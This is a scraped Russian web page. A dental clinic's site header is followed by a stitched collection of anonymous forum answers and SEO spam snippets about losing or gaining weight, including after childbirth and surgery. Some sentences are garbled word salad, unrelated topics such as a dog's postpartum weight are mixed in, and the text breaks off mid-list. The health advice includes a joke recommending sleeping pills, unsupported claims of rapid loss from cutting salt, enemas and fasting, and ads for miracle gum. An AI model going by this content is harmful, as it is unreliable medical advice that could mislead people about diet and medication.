Кафедра челюстно лицевой хирургии и стоматологии СамГМУ

ОАО "Поволжский Специализированный Реабилитационный Стоматологический Центр"
Терапия Ортопедия Пародонтология Хирургия Ортодонтия Имплантология Эстетическая хирургия ЧЛХ
  ?>
О компании
Услуги
Прайс
Наши разработки
Наш коллектив
Бесплатная
   консультация

Мне 42года,после кесарева сечения,кормлю ребека грудью,после родов набрала лишний вес,дайте совет как похудеть

Пока кормите - вряд ли чем-то можно помочь. Если только для живота - попробуйте дыхание "Я королева пляжа", в поисковике наберите, если интересно. Я не кормящая, но живот подтягивается.

Израильская фирма разработала капсулу для похудения, управляемую с помощью смартфона или другого электронного устройства.Как пережить ПМС и не набрать вес. Зверский аппетит при ПМС для многих из нас становится Большой проблемой.

Можно носиь послеродовый бандаж, правда у Вас швы-спрсите у врача. Пока кормите ребенка грудью-никаких диет! Пресс качать наверно будет больно. Так что потерпите немного, а потом и диета, и физкультура.

Ребёнок начнёт бегать, пойдёте на работу- сами не заметите, как лишний вес уйдёт, никаких диет не надо

Да кормите малыша, потом будете худеть.

У нас с вами одна проблема))) К сожелению, пока кормим-никак не справиться... Моему уже 6й месяц, вес значително ушел, ивот почти плоский-только вес не уходит... Но так то от лактации. Уйдет вес, просто уходить будет медленней, чем у молодух. Только не садитес на диеты-вредно для молока, а значит-для крохи. Потерпите!

Только из крайности в крайность не бросайтесь, диеты и мор глодом только навредить могут. Без помощи специалиста конечно не обойтись, но свой режим питания может скорректировать, убрать соль (худеют до 6 кг в месяц) убрать жиры (жирная свинина, жареное) больше двигаться, но не да фанатизма тягать штанги, так как при увеличении нагрузки организм опять потребует свои калории. Килограмы не приходят к нам за неделю) наращивем долго, значит и эффекта не стоит ждать быстро. удачи.

Следует очистить от сердцевины и от кожуры блюдо, которое я собиралась съесть, я получала полную что сделать чтобы не набрать о его вес после похудения составе и количестве калорий в нем.

Еще в роддоме при КС мы делали "зарядку". значит сейчас необходимо увеличить физическую нагрузку (к прогулкам пешеходным добавить разные упражнения дома на пресс) . посмотри в инете "яичную диету" - довольно сбалансированная и питательная, правда много яиц и каждый день апельсин и грейпфрут (возможно нельзя) , а так мясо каждый день, или курица, или рыба, овощи и фрукты.
В принципе, можно просто самой сбалансировать свое питание, используя разные правила. Питаться мясом, рыбой, курицей не жирными, обязательно много свежих овощей (огурцы, томаты, зелень, капуста, и т. п.) , местных, так же и фрукты, лучше местные. Желательно не смешивать все вместе, после шести-восьми ограничиваться кефиром, огурцами, чёрным хлебом, но за 2 часа до сна. если просыпаться ночью и хочется - маленькой дозой того же кефира, крошку хлеба, и кусочек огурца.
Или просто исключить на полгода все сахарное, сладкое.
Есть еще какая-то японская диета - там без соли две недели, без сахара, тоже уходит.
Но в 42 года, как бы ты не сбрасывал килограммы, регулярная физ-ра обязательна, чтобы не было эффекта дряблости и обвислости.
Снижать вес нужно постепенно, чтобы живот не остался мешком (хотя, если кожа растянута..) , а то только пластическая хирургия.
Удачи в совершенствовании!!!

Крутить обруч халахуп ежедневно. Удачи вам .

Мне кажется ни прес, ни обруч хотя бы первый год не желательно. Это ведь серьезное напряжение для живота, а у вас швы. Я тоже после кесарева, вес конечно не набрала, зато худею очень сильно. Сплю мало, ем на ходу, ну и все в этом роде. активный образ жизни очень помогает сбросить вес, а с ребенком иного не будет! ! Так что худейте естественным путем :-)))

Примерно через полгода после родов можно делать упражнение "велосипед" и крутить массажный обруч. Мне обруч очень помог, я тоже после кесарева. Я его кручу примерно по 15-20 мин. в день, результаты через пару дней усиленного кручения, а если приэтом еще и ограничить себя в еде то можно и похудеть.
Но не забывайте, что надо заниматься всем телом, в вашем возрасте особенно уделить внимание рукам. Только спорт может привести вас в форму, ни какие таблетки, диеты и т. п. не спасут. Поверьте бывалым!!!

И так читайте и запоминайте стараюсь в кратце. личный опыт после 2-х родов и на подходе 3-й ребенок . всегда килограмм 20-30 набирала за беременность. гогда кормила грудью еще больше поправлялась. и так
1. нормально скидывать вмесяц до 2.5 кг = в год 12 месяцев 20-25 кг. и вполне реально не причинять вред организму.
2. правильное питание а не еда. это значит овощей ск-ко влезит а за раз только стакан 250 мил. влезает пищи. исключить мучное, жаренное, жирное только до 5 % жирности стоит употреблять молочные продукты, жирное мясо и сладости исключить .стоит включить в рацион все виды каши особенно гречку овсянку киноа и т. д фрукты есть в сыром виде. ещьте курицу без шкурки и побольше рыбы орехи тоже включите.
3. пить много 2 литра в день минимум
4. побольше двигаться учитывая заботу о ребенке. для начала я брала коляску и быстрым темпом минимум час ходила гулять с малышом. я за то чтобы спорт был в кайф поэтому занялась зумба-бразильские танцы кигбоксинг аэробика и все что под музыку можно было танцевать самое главное чтоб было в кайф.
5.конечно любовь к мужу тоже помогает сжечь каллории и поднять настроение послеродовое.
так я худела целый год и наконец-то влезла в свой 36 размер штанов. грудь после кормления уже не та но я довольна результатом не в ущерб своему здоровью.

Работа с питание поможет вам снизить вес. Регулярные тренировки сделают ваше тело сильным и активным.Вы получите готовые ответы на эти вопросы Как питаться, чтобы не набирать вес?Что делать после похудения? Как сохранить вес?

Ну не знаю... я во время ГВ очень сильно похудела, придерживалась диеты при ГВ, то есть не ела жареное и сладкое.... ещё в роддоме надела утягивающее бельё,через пару месяцев после КС начала качать пресс, заниматься физкультурой... результат пришёл довольно быстро.. живот не такой упругий как был до родов... но он довольно аккуратный и совсем не свисает.... И не нужно ждать целый год после КС (как вам тут написали) что бы заняться какими-либо упражнениями... Удачного похудения))))

Как питаться после похудения, чтобы не набрать вес?

Да, но не часто. И помаленьку, а то опять наберешь ещё 4кг

Но часто женщины набирают вес до 20 и более килограмм. Избавиться от них намного труднее.В момент грудного вскармливания не рекомендуется пробовать радикальные методы похудения лекарственные препараты для похудения, строгие диеты, хирургические...

От одного кусочка не прибудет, если конечно следить за собой. Займись спортом или тренируйся дома

Просто в меру.
Никаких обжорств!
Напитки типа колы, торты, пирожные только по праздникам.
В обед на второе вместо гарнира (макаронов, картошки, риса...) лучше есть овощи в любом виде.
Если хочется сладкого, конфет и так далее - лучше ешьте фрукты, можно купить вяленой клюквы, вишни, кураги, кизила, например.
Творог и сметана - очень коварные продукты, от них поправляются. Ешьте только обезжиренный вариант.
Если безумно хочется есть перед сном - наедайтесь сырых огурцов, капусты - ничего страшного не будет (у меня так сын делает, он тоже худеет).

Очень рекомендую программы питания и программы тренировок диетолога Сергея Сивца! Для дома, улицы и тренажерного зала. Есть специальные программы для похудения живота и боков! На мой взгляд, они самые эффективные и недорогие. Можно быстро и безопасно похудеть без насилия над собой! Сайт у него, по-моему, атлетик блог ру. Можно через поиск найти. Успехов всем худеющим!

Как питаться после похудения, чтобы снова не набрать вес?

Однозначно отказать от сладостей, в том числе сладкого чай или сладкого кофе Отказаться от булочек

В этой статье вы найдете эффективные рекомендации о том как удержать вес после похудения.Удержать вес и избежать эффекта бумеранга можно. Как вы теперь понимаете, сделать это может каждый.Галина,попробуйте набрать на яндексе, гугол .Это будет мгновенно.

Мой главный совет: нельзя ощущать голод. Иначе, каждый кусочек пищи будет откладываться в жир. Организм решит, что нужно делать запасы. Нужно есть часто, но не много и здоровую пищу.

Надо дальше продолжать питаться так же как и при похудении

Крупы, овощи, нежирное мясо. Не есть после 18.00

МАЛО кушать и только полезное

Подойдет любой вариант:
1. Не кушать после 18:00
2. Голод на воде один день в неделю ( не подходит при заболеваниях ЖКТ, в этом случае лучше питаться по диете 5П небольшими порциями 5 р в день)
3. Считать ккал
Расчет ккал для ежедн потребления http://bilet.pp.ru/diet_calorie_calculator.php
И при выборе любого варианта физические нагрузки обязательны, хотя бы быстрая ходьба (6-7км/ч) не меньше часа и воды 2-3 л в день

Очень важный момент сделать вс , чтобы они не возвращались обратно Часто после строгой диеты у многих желающих похудеть происходят срывы, и лишний вес снова появляется, бывает даже2. Если вес стабилен это уже хорошо. Похудение процесс постепенный.

Психоаналитики утверждают, что любые сигналы тела рассказывают нам о наших проблемах, которые мы стараемся не замечать, отрицать и не реагировать на них, говоря самой себе: «у меня все хорошо» , «это не важно» , «все пройдет» , а между тем, ничего не проходит, все лишь опускается в глубины бессознательного и все процессы происходят уже без нашего ведома. После отрицания (вытеснения) негативных эмоций или блокирования своих потребностей мы не понимаем причин сниженного настроения, апатии, вспышек гнева, болезней, прибавления веса. А между тем, все это сигналы бессознательного, пытающегося достучатся до нашего сознания. Избыточный вес ПсихоладЭто сигналы, говорящие о том, что не все так гладко в нашем королевстве, что есть что-то, что нам необходимо понять, ибо в противном случае, этот сигнал может перейти в хроническое состояние болезни, депрессии либо избыточного веса.
Сигнал прибавления веса – это отличный сигнал, о том, что твой организм от кого то или от чего то защищается, т. е. избыточный вес – это психологическая защита. Главный вопрос: от кого или от чего ты защищаешься?
если самостоятельно не удаётся наладить отношения со своими защитными механизмами и они все также продолжают тебя крепко и надежно защищать, удерживая лишний вес, а чего еще хуже прибавляя его, не отчаивайся, обращайся к специалистам. Профессиональный психолог, как ни кто другой, сможет помочь тебе понять причины и скрытые механизмы набора и удержания твоего лишнего веса, после чего станет намного легче сказать своему лишнему весу огромное спасибо и попрощаться с ним навсегда. Главное помнить, в жизни все можно НАЛАДИТЬ!

Собираюсь на море. Можно ли похудеть там?) Что нужно есть, чтобы не набрать вес, а сбросить?)

Овощи фрукты мясо рыбу и загорать

Как правильно сделать акцент на ту или иную группу мышц? Что нужно делать междуВ 95% случаев тем, кто не может набрать вес, кажется, что это потому, что они слишком малоTOP 10 высокобелковых продуктов для массы и похудения. 7 фишек тренировки ног в...

Ну если траванёшся в кафешке -похудешь мало не покажется. а есть надо побольше фруктов и мяса. фрукты мытые -мясо хорошо термически обработанное. Поменьше мучного и овощей типа картофель и капуста (свежие отлично, не варёные) . плавай играй в мяч и всякие там водные пляжные развлечения. По музеям походи. всё это в сочетании с жарким солнцем поможет если не похудеть, то прибавить здоровья. Если "северная" особо на солнце не торчи, в воде тоже обгореть можно, да и солнечный удар никто не отменял.

Для этого море и существует!

М-да-а! я тоже на море. Вес удержать не так-то просто. Столько соблазнов в еде. Даже фрукты-ягоды-овощи- соки имеют огромное количество углеводов. Но мой вес не нарастает. Я много плаваю и по 2-3 часа гуляю с собакой, где пешком, где бегом. Можно танцы, секс и прочая. Я смотрю, много народу на пляже бегает, много бегают.

Налегай на морепродукты, овощи, фруктами не злоупотребляй! Побольше плюхайся в море:))

Фруктов там полно

Главная Форум худеющих о диетах и похудении. Реальные отзывы. Форум Питание Как набрать вес. Что делать?А у меня обратная проблема как набрать вес. Мне 31 год, рост мой 168 см, вешу 48 кг. Такой вес у меня с 17 лет.

Постарайтесь не есть вечером после 19-00, ну и в фитнес зал через 1 час после обеда. Похудеть может и не похудеете, но вот не поправитесь точно.
Я каждый год на море живу по такой схеме, утром на отдыхе ем все что угодно, перекусы до обеда фруктов море) ) обед все чего душа пожелает, затем мужа спать а сама в фитнес на 1,5 часа. Все вечером до 19-00 легкий ужин (белковый желательно) и все))

Французский бульдог после родов сильно похудел что делать чтобы он поправился

Ну да, как правило мамочек щенячьм кормом кормят. И Лиарсин можно подавать для нормализации обмена веществ после родов. Это ветпрепарат, метаболик, регулирует белковый, жировой, углеводный обмен и на работе кишечника позитивно сказывается, не будет поносов, запоров, что после родов случается.

Почему я быстро набираю вес? Ожирение причины и как похудеть. Почему от плюшек толстеют, или что такое ГИ - гликемический индекс.Как гормоны влияют на похудение и набор веса. Как победить склонность к полноте правильное мышление.

Неслушай все что тут написана иди к витеренару и пусть он пракансультирует нужно выиснить в чем дела мала ли что какрас и хороший рацыон потскажит

Так кто похудел кобель или сука? Не волнуйтесь сейчас собачка немного в стрессе и может в течении трех дней даже не кушать. Пытайтесь ее кормить во время кормления щенков, чтоб приходило молоко. Даже садитесь рядом уговаривайте и кормите с рук. У вашей собачке наверное не один щенок и поэтому она сильно похудела. Удачи.

Что можно сьесть или выпить после 18.00 при похудении чтобы не поправиться?

Фрукты, овощи, кефир.

Как не набрать вес после похудения. Откат веса к исходным цифрам по завершении диеты может раз и навсегда разуверить тебя в самой идее борьбы за стройность.Можно ли обмануть природу и сделать так, чтобы твои жировые клетки не торопились нагонять упущенное?

Гречка
вареная курица (филе)

Кефир капуста яблоко

Кефир, сок.

Вода, а ты чего хотела.

Воду )) Шутка
Я ем свежезамороженные овощи, салатик морковь яблоко сметана, яблоки, молокочай, капусту жую, пью чай с обезжиренным творогом

Как не набрать вес. Едим и худеем. Советы диетолога. Зважен та щаслив . Распорядок дня. Есть перед сном.Сделать стартовой.

Снатворное можно и выпить, 100% поможет - результат гарантирован!!!!

Грейпфрут!! !
Жиры сжигает, сахар понижает!!!

Можно ли пить кофе для похудения после 6,чтобы не поправиться?

Можно если зубы не жалко

А то ведь мне крышу может снести, начну опять жрать по новой, и все старания коту под хвост... Кто похудел, как вы питаетесь и что делаете чтобы не набирать вес? Кто вообще что думает на эту тему?

Лучше чай зеленый.

А, что от кофе чёрного и без сахара, толстеют?

После операции удаление матки и придатков набрала вес как похудеть

Основная проблема после такого рода операций - резкое изменение обмена веществ. То есть даже при стандартной для вас нагрузке организм расходует меньше питательных веществ.
Вам придется скорректировать свой рацион - главным образом, чтобы не употреблять жиров больше нормы и белка меньше нормы (углеводы есть везде, потому они доберутся сами собой) . Есть возможность - двигайтесь больше, подберите гимнастику (например, бодифлекс) .
Вот интересная статья по расчету потребления необходимого количества калорий при замедленном обмене веществ: pohudet.ru/en002004.htm
Вообще весь сайт интересный, годный. Поможет разобраться с проблемами в весе.
У вас все получится!

Как удерживать вес после похудения Многим хочется сбросить лишний вес и.aKak.ru пошаговые инструкции, как сделать вс что угодно!Существует несколько моментов, которые помогут удержаться на достигнутом весе, не набрав заново прежних килограмм.

После удаления матки с придатками начинается нарушение гормонального уровня, так как яичники их синтезировали, а теперь нет! Так что это немного сложнее. Но по поводо диеты Вам написали в предыдущем сообщении.

Удержание веса. Чтобы не поправиться после похудения нужно также питаться или изменять меню?

Нужно питаться сбалансированно. Что это такое - узнавайте из книг, у диетологов.

Рыба с зеленым салатом или овощным гарниром послужит превосходным ужином. Как удержать вес после похудения. Совет диетолога.Как сделать жиросжигатель своими руками? Самые лучшие рецепты Мария Портнова.

Когда наступает желание похудеть или наоборот набрать вес, когда тебе делают замечания или когда видишь себя в зеркале?

Когда не можешь влезть в штаны

Что делать, чтобы не набирать вес. Вы месяцами или даже годами пытались избавиться от лишних килограммов.Почему вес не уходит? Секрет похудения и удержания здорового веса кроется в изменениях образа жизни.

Худеть и ещё раз худеть... ааа... за больное

Когда вижу себя в зеркале !

Когда сам видишь себя в бане. Есть с кем сравнивать. Все. сразу возникает желание потолстеть. Увы. Не в коня сено. Те же 50 при росте 165. Ничего. Я - высушеный Геракл. С тем и успокаиваюсь.

Скорей, когда не подходят любимые вещи..., или ставишь в альбом новые фотки... рядом с теми где "я была такая худенькая"...или встречаешь одноклассницу, которая "ну совсем не изменилась"... ну, и наконец, , конечно же - зеркало...)))

Ни то и ни другое-наша собственная реакция на своё тело начинается с сигнала самого организма, принимаемого нами на уровне подсознания, после чего мы начинаем дёргаться в ту или другую сторону и нам кажется, что мы всё сами для себя решили.

Что делать, чтобы не набрать лишний вес во время беременности?Также читайте Упражнения с обручем для похудения с фото и Как не поправиться во время беременности!? .

Скорее, когда сам себе перестаешь нравиться из-за лишних кг. Мнение людей на этот счет меня волнует меньше всего.

Когда смотришь на себя в зеркало и понимакешь, что ты не влезаешь в самые твои любимые джинсы!

Рост-190
вес-88
ворот-44
грудь-104-108
живот-78
бёдра - 96
размер ботинок - 43,5
скажи чего менять-?

Никогда

Когда видишь Мерелин Монро, Клаудио Шифер или Анджелину Джоли

Теперь тебя волнует, как удержать свой личный рекорд и как не набрать лишний вес снова, а мы тебе дадим пару советов, как это сделать лучше. Итак, жизнь после похудения не означает полный отказ от пищи.

Не-а, зеркало обманчиво, в нём мы видим то, что хотим увидеть. Лучше всего помогает, когда смотришь неожиданно снятые фотки или видео. В тот момент, когда не приняла нужный ракурс, не втянула живот и не расправила плечи. После просмотра таких ужасов. срочно хочется на диету!

Когда подъем по лестнице перестает быть нормальным продвижением к цели и превращается в пытку для ног и мотора- диагноз: худеть.
Когда ветер на остановке начинает сталкивать на проезжую часть или стощих рядом людей- диагноз: толстеть.
И срочно!

Когда одеваю на себя прошлогодние вещи...

Когда в голову взбредет. чаще всего это от скуки. что бы себя занять чем нибудь/, сажусь на диету, на пару часиков...

Когда не можешь ботинки зашнуровать ;-)

Конечно, лучше всего лишний вес вообще не набирать. Следите за процессом похудения. Если вы в стремлении избавиться от лишних килограммов началиКрасота выберите стиль, который сделает вас моложе. Красота сохраните молодыми и красивыми волосы.

Когда хочешь изменится

Оно наступает и наступает.. . а я все драпаю и драпаю. . :-)))) Строен, как кипарис! :-)))

Когда понимаю что моя доча странновато на меня смотрит)) ) она любит стройную маму)) которой мона перед другими похвастаться)) ) все ради нее) )
а так я ся разной люблю и принимаю все как есть)) лишний повод по магазинам прошвырнуться и гардероб обновить))

Если я перестаю влезать в прошлогоднюю одежду, то приходит желание похудеть

Я всегда говорила, что я толстая, что живот большой, зад и ноги, но вот почудела на 3кг, и очень быстро, хоть не худела специально, а теперь хочу вернуть прежний вес, так хорошо было, а теперь не могу на себя смотреть, прям ужас какой-то, как еще женщины хотят весить, как модели, это ж издевательства, да и мужчинам, я так пологаю, кости не особо нравятся... А замечания мне никто никогда не делал, и я очень рада, а то замечания могут вызвать комплексы на всю жизнь...

Вам наконец-то удалось похудеть. Но что делать дальше, как не набрать вес после похудения, так как удержать полученный результат намного тяжелее, чем похудеть? Главное, что следует делать, чтобы поддерживать полученный результат это быть умеренным в еде.

Самое правильное - когда самочувствие подсказывает, что на здоровье пора вниманье обратить.

1. Потолстев на пару кг, в начале сезона просчитываешь, во сколько обойдется покупка нескольких новых вещей и становится страшно.. . Обратное, как говорят математики, тоже верно.
2. Уж больно хочется себя побаловать чем-нибудь вкусненьким, которое, как правило, не слишком полезно. Поэтому стараюсь "отработать" съеденное, чтобы не пришлось полностью отказываться от вкусняшек.
3. Уж больно приятно, когда тебе говорят: "О! А ты похудела, по-моему! " ;-))

Когда примеряешь перед зеркалом комплект красивого белья или купальник.

Пока чувствуешь себя комфортно в данном весе, ничего делать не надо. Вот мне становится тяжело себя таскать, когда я худею, как ни странно.

А мне этого не надо, так что обойдусь без советов.

Как не набрать вес после похудения. Автор Elka от 27-03-2011, 08 35.Они сделаны на основе натуральных растительных и белковых компонентов. Это клетчатка, фукус, пектин. Важно знать, что БАДы не являются панацеей от лишнего веса.

Когда начинаешь испытывать чувство одиночества

Наверное когда ты уже себя начинаешь чувствовать не комфортно.

Не наступает! Все нравится)

Когда то и другое и можно без хлеба!

Когда сравниваешь себя с другими когда чье то важное тебе мнение играет против тебя когда не влезаешь в одежду когда тронешь себя а там не подтянуто когда побудешь в ваннйо когда ходишь по магазинам и 44 тебе конечно еще велик а вот 42 уже мал когда у тебя встреча выпускников а ты заплыла жиром
я всегда худею ахахах) любое обстоятельство застявляет меня думать о похудении

Как после диеты не набрать вес? Итак, вы мужественно выдержали диету и даже смогли хорошо похудеть.7 советов для легкого похудения. - Подумайте от какого вредного блюда, одного-единственного, вы не в силах отказаться?

Когда тебе при встрече говорят:
- Ну, ты даёшь! И как же так живёшь?. .
И ты, плечами, виновато, пожимаешь.. .

Достаточно повстречаться с говорящим зеркалом...

Когда посмотришь фото где весишь на 20 кг меньше...

Когда появляется дискомфорт в движениях...

Когда видишь, что уже в зеркало не помещаешься)))

Иногда после похудения встает вопрос, как не набрать лишний вес.Как не допустить нежелательных изменений фигуры с возрастом?Что делать после похудения, чтобы сброшенные килограммы не вернулись?

Люди блин окружающие не замечают почти, а вот я всё вижу, и хоть на килограмчик поправилась, если вижу это на себе. Всё, дипрессия, стараюсь избавляться. А ведь люди могут и 2кг не заметить, а вам должно быть виднее)

Желание похудеть наступает как ни странно после замечаний.
Становится обидно - тогда и силы появляются, и спортивная злость.

Когда в магазине тебе не подходит по размеру ни одна из понравившихся вещей...

Когда одежда жмёт или вообще не налезает!

Как похудеть,так чтобы не набрать вес снова и не навредить здоровью?. .

Не есть хлеб и сладкое (постепенно уменьшать дозу) и перейти на здоровую пищу.

Сегодня в моде здоровый образ жизни, красивое стройное тело и ухоженная кожа. В связи с этим каждая женщина стремиться к совершенству и заветным параметрам 90-60-90 . В своих стремлениях женщины прибегают к различным диетам.

Побольше фруктов, овощей, поменьше жирного, сладкого, мучного.
Позаниматься спортом, упражнения... .
Или просто делить все что ешь обычно на пополам

Есть лекарства они не дают жиру всасываться стоят 1000-1500 р. Про здоровое диетическое питание молчу.
Вот есть еще липосакция удаляеться не только сам жир но вроде и клетки которые его набирают, но
вот вроде при ней ожирение может появиться на других участках тела и его изуродовать.

С пищей поступают витамины, минералы, жиры и все они необходимы! сократить количество еды ни в коем случае не переедать. И спорт в любом проявлении :пробежки, качание преса, или фитнес, а всё вместе даст потрясающий результат через месяц вы увидите прогресс!

Сладкое не кушайте... и мучное, и жирное...

А тебе зачем, у тебя вроде и так всё нормально с фигурой.

Средний набранный вес во всех группах составил 0,5 кг.Отзыв Раскрыт СЕКРЕТ ПОХУДЕНИЯ мировых звезд! Уникальная жевательная резинка теперь доступна и тебе! Сбрасывай по 5кг в неделю!

Перейти на правил митание навсю жизнь без легких углеводов, по Монтиньяку с Глик индексов до 50,пить 2 л воды в день пожизненно и вес не прибавится. Кушать белок -мясо/не свинина/ и рыба отварная по 125 г в день.

Попробуйте раздельное питание. 2 дня белковых 2 дня овощных. За три недели я скинула 7 кг. Не голодно. Один раз в неделю разгрузочный день на рисе и томатном соке. Удачи.

Что сделать чтобы поправиться???срочно!

Ешь продукты с большим содержанием углерода
от них поправляются
но я еще бы к этому всему добавила тренажеры, чтобы набрать мышечную массу

Как не набрать вес после диеты. Диета и питание, 13 сентября 2012 года, 08 40.Напитки для похудения и красоты что пить утром, в обед и вечером. Диета для кожи правила питания, которые помогут сохранить лицо.

Мне б Ваши проблемы.. .
кушай на ночь пельмени.. . и побольше...

Есть углеводы во второй половине дня, рис, картофель, каши, сладкую выпечку с чаем перед сном, пиво.

Скачайте из инета таблицу калорийности самы калорийные продукты и кушайте-если салат то с майонезом если картошка то с курицей если макароны то с котлетой... вот так

Как надо худеть,чтобы не набрать вес снова?

Да жрать надо поменьше-только и всего то !!!

Для того, чтобы не набрать вес после похудения, нужно знать один секрет.Когда вы найдете истоки проблемы, подумайте, как вы можете исправить ситуацию, что можно сделать.

Попробуй по системе -60, а вобще чтоб не набирать вес нужно меньше кушать, и совсем не есть после 6-8 часов вечера

А ты знаешь, от чего набирается вес? Вот и не питайся этим после диеты.

Все диеты основаны на одном-правильном сбалансированном питании в определенное время. Так зачем искать какие-то диеты? Работать над собой надо.

Я сидела на диете монтиньяка, за 2 месяца сбросила 12кг, продержалась год, сейчас набрала 5 кг, просто опять стала все подряд есть, а сейчас вот хочу суп сельдерейный попробовать ну и этой диеты тоже придерживаюсь

Единственный способ-это медленно. Чтобы организм постепенно привыкал к новому весу, обмену веществ, режиму питания, количеству каллорий. Обязательно во время похудания пейте витамины. Это облегчит процесс

Как не набрать вес после диеты? admin 6 Май 2015 0 comments. Похудение,Советы для похудения.Кстати, лучше это делать в первой половине дня.

Во избежание эффекта Ё-Ё (негативная реакция организма после чрезмерной диеты) ни в коем случае не переупортвуйте с диетой, тем быстрее вы похудеете за короткое время тем хуже для Вашего организма "прийти в себя". Организму захочется еще больше, так как хочет заполнить те места где раньше и скапливались жиры.
Значит так, начните с самого простого:
1. Пейте, пейте, пейте и ТОЛьКО воды!
2. Сделайте так чтобы в Вашем холодильнике не обнаружили "врагов ваших мечт".
Избегайте сладостей
мучных и колбасных изделий
поменьше жареных блюд
и конечно поменьше хлеба и картошки.
Знаю, и слышу, трудно, но как говорят "красота требует жертв".
Надо только немножко воли и все будет так как Вы хотите"
Приклейте все ваши фотографии (с теми проблемными местами) по всей квартире, особый еффект гарантирован когда вы наклеете одну из них прямо на Вашем холодильнике, и кажды раз при очередном походе по направлении "соблазна", Вам попадет в глаза сначала Ваша фотография, поверьте, охота на "что же на этот раз мне поесть" мгновенно пропадет!

Если в платьице нарядное
Не влезает попа толстая,
А напялить платье хочется,
Но мешают шесть котлеточек,
Перед ужином схомяченных,
Шоколадка и три булочки,
После ужина добавленных,
И кефира поллитровочка -
Та, что на ночь глядя выпита;
Выход здесь один, девчоночки:
Топаем в аптеку ближнюю.
Там мы купим чудодейственный
Пластырь, что для похудания
Надо на себя наклеивать.. .
Да пожалуй, надо парочку
Или даже штучек несколько –
Это, сёстры, средство верное!
Когда в приступе хомячества
Кушать нам опять захочется,
Достаем из сумки пластырь мы
И на рот себе наклеиваем
И смотрите, чтоб ни щелочки
Не осталось и не дырочки!
Потому что морда хитрая
Сквозь игольное отверстие
Слопает верблюда запросто,
А котлеток – даже несколько,
Или булочку изюмную.
И когда тот пластырь намертво
Прирастет ко рту хомяцкому,
Тут начнется чудо чудное:
Скоро талия появится,
А потом и попа стройная
Запросто вольётся в платьице,
И пойдет она кокетничать
В разны стороны повиливать,
Улыбаться и подпрыгивать

С помощью системы Минус 60, я уже похудела на 22 кг -за 9 месяцев, даже очень строго и не придерживаясь её. Попробуйте, не пожалеете)))))

Система минус 60 !

Система минус 60....принцип на завтрак до 12 есть все что захочешь, не обращая на вредность и на количество каллорий, на обед и ужин (до 18) список определенных сочетаемых продуктов (есть на сайте) , http://www.dieta-da.ru/minus60.htm Екатерина Мириманова, создавшая эту систему прошла через все сама, и похудела со 120 до 60 кг за 1.5 года, там есть также форумы худеющих, общие рекомендации, фото, книги и рецепты автора системы

Хирургия для похудения и для борьбы с лишним весом набирает все большую популярность.Как не набрать вес после сорока? Здесь всего три ключа к успеху мозг, рот и мышечная масса.

Совершенно бесплатный курс обучения Бодифлекс все качаем тут первая часть продолжение

Я являюсь профессиональным тренером Wellness студии, занимаюсь консультациями в вопросах правильного питания. Питаюсь низкокалорийными белковыми коктейлями, которые помогают мне интенсивно сбрасывать вес и решать проблемы не только с излишками жира, но и со здоровьем. Я комфортно и вкусно худею без вреда для организма. А вот чтобы уменьшить объём ккал в день можно заменить завтрак и ужин на эти коктейли, кстати готовятся они на любой молочной или кисло- молочной продукции. Всегда поддерживать вес приятней,
чем постоянного его гонять.... обращайтесь помогу его вам сбалансировать!!!!

Я очень резко начала поправляться подскажите диету или что делать чтобы похудеть или хотя бы не поправляться

Банально, но меньше есть, больше двигаться.
Потом, в связи с чем Вы поправляетесь - может, гормональные таблетки или еще что-то?

Так мы снова набираем вес, а в некоторых случаях этот вес становиться гораздо больше, чем прежде. Так что же делать? Как удержать вес после похудения?

Влюбиться+спортивный образ жизни

Меньше кушать (самое эфективное), занятие йогой)))

Не есть после 6 или хотя бы 7. Отказаться от сладкого, жирного, мучного. Можно перед едой выпивать стакан воды, калорий О, а место в желудке занимает, следовательно меньше калорий съешь ;0)

Если резко и беспричинно, то проверьте щитовидную железу и уровень сахара иначе любые диеты будут бесполезны.
Ну а если о диетах, то перейдите на фрукты-овощи. Как раз летом очень удачно

Кушать меньше, и больше двигаццо!

Наращивайте мышечную массу, чтобы не набирать вес. Один из наиболее эффективных способов остановить процесс прибавления в весе - ускорить обмен веществ методом наращивания мышечной массы.

Малоподвижный образ жизни, высококалорийная пища, применение гормональных препаратов

Не есть после 6 вечера, не есть углеводов (т. е. сладкое и мучное)... а вообще хорошо бы кровь сдать на гормоны.

Выясните причину ))
Я пару лет назад тож резко начала расти в ширину как на дрожжах, так оказалось, просто не подошли таблетки противозачаточные.. поменял врач мне их на другие и все ))
А вот худеть сложнее было диеты, @уеты и прочая фигня, так что причину ищите в себе (может у вас депресняк и вы сладкое килограмами топчете или курить бросили и все подряд топчете...)

Проверить гормональный фон!!!

Возьмём простой способ: 4 раза в месяц очиста кишечного тракта с помощью кружки "Эсмарха", и ежедневная закачка пресса ...косых, поясничного отдела, суплексы на (vertebr.colum.) позвоночный столб + лёгкая (читинговая) пробежка (желательно минут по 20 -30, хотябы раза 3 в неделю) . Ну а первое ...сходить к терапевту проконсультироваться ...давление и возрастной ценз.

Израильская фирма разработала капсулу для похудения, управляемую с помощью смартфона или другого электронного устройства.Как пережить ПМС и не набрать вес. Зверский аппетит при ПМС для многих из нас становится Большой проблемой.

Фитогели для коррекции фигуры "убирают" причину.

Занятия спортом, регулярно, не менее 4 раз в неделю, сбалансированное питание, применение жиросжигателей, например, L-карнитин!

Японская диета или диета Ларисы Долиной хорошо помогает похудеть

Citala otzivi skazali cto za nedeliu poxudeli na 3.5 ili 4 kg
Очень вкусная семидневная диета, которой совсем нетрудно придерживаться несколько раз в месяц. Особенно хорошо специальную диету использовать летом, ведь это время года изобилует всевозможными фруктами и овощами. Итак, выберите для себя те овощи и фрукты, которые вы любите больше всего, и поглощайте их целый день — на завтрак, обед и ужин.
Понедельник
Первый день — овощной. Допустим, вы выбрали огурцы. Вы можете есть их в любых количествах: хоть 10, хоть 20 кг в течение дня, но, какими бы сочными ни были огурцы, они не пополнят в достаточном количестве жидкость в вашем организме, так что советуем вам в этот день пить побольше минеральной воды.
Вторник
Если предыдущий день был овощным, то, значит, за ним должен следовать фруктовый. Например, яблочный, апельсиновый или грушевый. Распределите фрукты на четыре-пять приемов и основную часть поглощайте в обед. Если при этом вы почувствуете нестерпимый голод, то выпейте стакан кефира или йогурта.
Среда
Сегодня можно есть ягоды. Это может быть ароматная свежая клубника, слива или крыжовник. Ешьте ягоды в течение всего дня и пейте в неограниченных количествах минеральную или кипяченую воду.
Четверг
